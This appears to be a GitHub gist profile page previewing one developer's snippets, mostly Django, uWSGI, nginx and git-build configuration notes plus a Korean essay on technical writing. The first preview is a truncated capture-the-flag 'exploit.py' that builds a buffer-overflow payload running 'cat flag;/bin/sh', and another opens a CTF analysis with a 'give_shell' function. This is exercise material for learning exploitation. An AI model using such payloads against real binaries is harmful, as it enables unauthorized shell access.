Skip to content

Instantly share code, notes, and snippets.

View myeonggyunhan's full-sized avatar
๐ŸŽฏ
Focusing

Myeonggyun Han myeonggyunhan

๐ŸŽฏ
Focusing
View GitHub Profile
# exploit.py
# ./shock "`cat payload`"
from struct import pack
f = open("payload", "w")
null_addr=0xffffffffff600405
cmd="HACKED;cat flag;/bin/sh;#"
payload = cmd + "A"*(525-len(cmd))
@myeonggyunhan
myeonggyunhan / Django_AJAX.md
Last active March 11, 2022 03:36
Django AJAX ์ฆ๊ฒจ์ฐพ๊ธฐ ๊ธฐ๋Šฅ ์˜ˆ์ œ

Template ์—์„œ javascript

function favorite_handler(){
    var value = $('#favorite-btn').val();
    $.get('/favorite/'+value+'/', function (data) {
        if (data == "Add") {
            $('#favorite-btn').html('<i class="yellow star icon"></i> ์ฆ๊ฒจ์ฐพ๊ธฐ์— ์ถ”๊ฐ€๋จ');
        }

        else if (data == "Delete") {

๋ฌธ์ œ๋ถ„์„

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int secret = 0;

void give_shell()
{
@myeonggyunhan
myeonggyunhan / Django_translation.md
Last active August 18, 2016 10:17
Django translation ์„ค์ • ๋ฐฉ๋ฒ•

settings.py

from pathlib import Path

# Utilities
PROJECT_PACKAGE = Path(__file__).resolve().parent

# locale ๋ฏธ๋“ค์›จ์–ด ์ถ”๊ฐ€. ์ˆœ์„œ๋„ ์ค‘์š”ํ•จ ๋ฐ‘ ๋งํฌ ์ฐธ๊ณ 
# https://docs.djangoproject.com/en/1.9/topics/i18n/translation/#how-django-discovers-language-preference
MIDDLEWARE_CLASSES = [
@myeonggyunhan
myeonggyunhan / build_git.sh
Last active August 30, 2017 06:37
Build git from source to use at uni06 server
# Make directory for git
mkdir ~/git
cd ~/git
# Download git source code
wget --no-check-certificate https://github.com/git/git/archive/v2.14.1.tar.gz
tar xvf v2.14.1
cd git-2.14.1
# Compile and install the git
#include <stdio.h>
#include <stdlib.h>
int main(void)
{
fputs("\x1B[2J\x1B[H", stdout);
printf("\033[H\033[J");
system ("clear");
}
@myeonggyunhan
myeonggyunhan / uwsgi.ini
Created February 9, 2017 04:46
uWSGI template for Django project
[uwsgi]
# Django project name
project-name = ProjectName
# Django project path
project-home = /path/to/project/ProjectName
# Base directory path
chdir = %(project-home)
@myeonggyunhan
myeonggyunhan / ๊ธฐ์ˆ  ๋ฌธ์„œ๋ฅผ ์“ธ ๋•Œ ์ฃผ์˜ํ•ด์•ผ ํ•  ๋ช‡ ๊ฐ€์ง€.md ๊ธฐ์ˆ  ๋ฌธ์„œ๋ฅผ ์“ธ ๋•Œ ์ฃผ์˜ํ•ด์•ผ ํ•  ๋ช‡ ๊ฐ€์ง€๋ฅผ ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค.

๊ธฐ์ˆ  ๋ฌธ์„œ๋ฅผ ์“ธ ๋•Œ ์ฃผ์˜ํ•ด์•ผ ํ•  ๋ช‡ ๊ฐ€์ง€

ํ…์ŠคํŠธ ํŒŒ์ผ์˜ ์žฅ์ 

์ž์‹ ์ด ํ•˜๋Š” ์ผ์ด ์†Œ๋ชจ์ ์ธ ์ผํšŒ์„ฑ์˜ ์ผ์ด ์•„๋‹ˆ๋ผ๊ณ  ์—ฌ๊ธด๋‹ค๋ฉด ์œ„ํ‚ค์— ๊ธ€์„ ์ž‘์„ฑํ•ด์„œ ๋ณดํŽธ์ ์ธ ๋ฐฉ์‹์œผ๋กœ ๊ณต์œ ํ•˜๋ผ. ๊ธ€์„ ์ฝ๊ณ  ์˜๋ฌธ์ด ์ƒ๊ธฐ๋Š” ๊ฒƒ์— ๋Œ€ํ•œ ํ† ๋ก ์€ ๊ธ€ ์•ˆ์—์„œ ์ด๋ฃจ์–ด์ง€๋Š” ๊ฒƒ์ด ์ข‹๋‹ค. ์ค‘์š”ํ•œ ์ •๋ณด๋ฅผ ์œ„ํ‚ค ํ˜น์€ RCS, ๊นƒGit ๋“ฑ์œผ๋กœ ๊ด€๋ฆฌ๋˜๋Š” ํ…์ŠคํŠธ๊ฐ€ ์•„๋‹Œ, ์›Œ๋“œ, ํŒŒ์›Œํฌ์ธํŠธ ๋“ฑ์˜ ์ด์ง„ ๋ฌธ์„œ๋กœ ์ž‘์„ฑํ•ด์„œ ์˜ฌ๋ฆด ๋•Œ๋งˆ๋‹ค ๋‹น์‹ ์˜ ๋™๋ฃŒ๋Š” ๊ทธ ์ •๋ณด์— ๋Œ€ํ•œ ์ ‘๊ทผ์„ฑ, ๊ฐ€์‹œ์„ฑ, ๋ฒ„์ „ ๊ด€๋ฆฌ ๋ฌธ์ œ๋กœ ๊ณ ํ†ต์„ ๊ฒช์„ ๊ฒƒ์ด๋‹ค.

๋ช…์ง•ํ•œ ์†Œ์žฌ

์žก๋‹คํ•œ ์†Œ์žฌ๊ฐ€ ํ•˜๋‚˜์˜ ๊ธ€์— ๋‹ค ๋“ค์–ด๊ฐ€ ์žˆ์œผ๋ฉด ์žฌํ™œ์šฉ์„ฑ, ์ ‘๊ทผ์„ฑ, ๋ฐœ์ „ ๊ฐ€๋Šฅ์„ฑ์ด ๋–จ์–ด์ง„๋‹ค. ์ž๊ธฐ์™„๊ฒฐ์ ์ธ ํ•ญ๋ชฉ๋“ค๋กœ ํŽ˜์ด์ง€๋ฅผ ๋‚˜๋ˆ”์œผ๋กœ์จ ์ •๋ณด๋กœ์„œ์˜ ๊ฐ€์น˜๊ฐ€ ๋” ์ปค์ง„๋‹ค. ๋‚˜์ค‘์— ๋‚˜๋ˆŒ ์˜ํ–ฅ์œผ๋กœ ์ผ๋‹จ ์“ฐ๊ณ  ๋ณด๋Š” ๊ฒƒ์€ ํ™˜์˜ํ•œ๋‹ค. ๊ณ ๋ฏผ ํ•˜๋ฉด์„œ ๊ธ€์“ฐ๊ธฐ๋ฅผ ๋ฏธ๋ฃจ๋Š” ๊ฒƒ๋ณด๋‹ค๋Š” ์ผ๋‹จ ์“ฐ๋Š” ๊ฒƒ์ด ์ค‘์š”ํ•˜๋‹ค.

#!/bin/bash
if [ $# -ne 1 ]; then
echo "USAGE: $0 <Directory Path>"
exit
fi
TARGET_DIR=$1
cd "$TARGET_DIR"
for file in *; do
@myeonggyunhan
myeonggyunhan / dev.conf
Created May 26, 2018 13:12 — forked from fnando/dev.conf
Nginx configuration for SSH tunnel
upstream tunnel {
server 127.0.0.1:3000;
}
server {
listen 80;
server_name dev.codeplane.com br.dev.codeplane.com;
location / {
proxy_set_header X-Real-IP $remote_addr;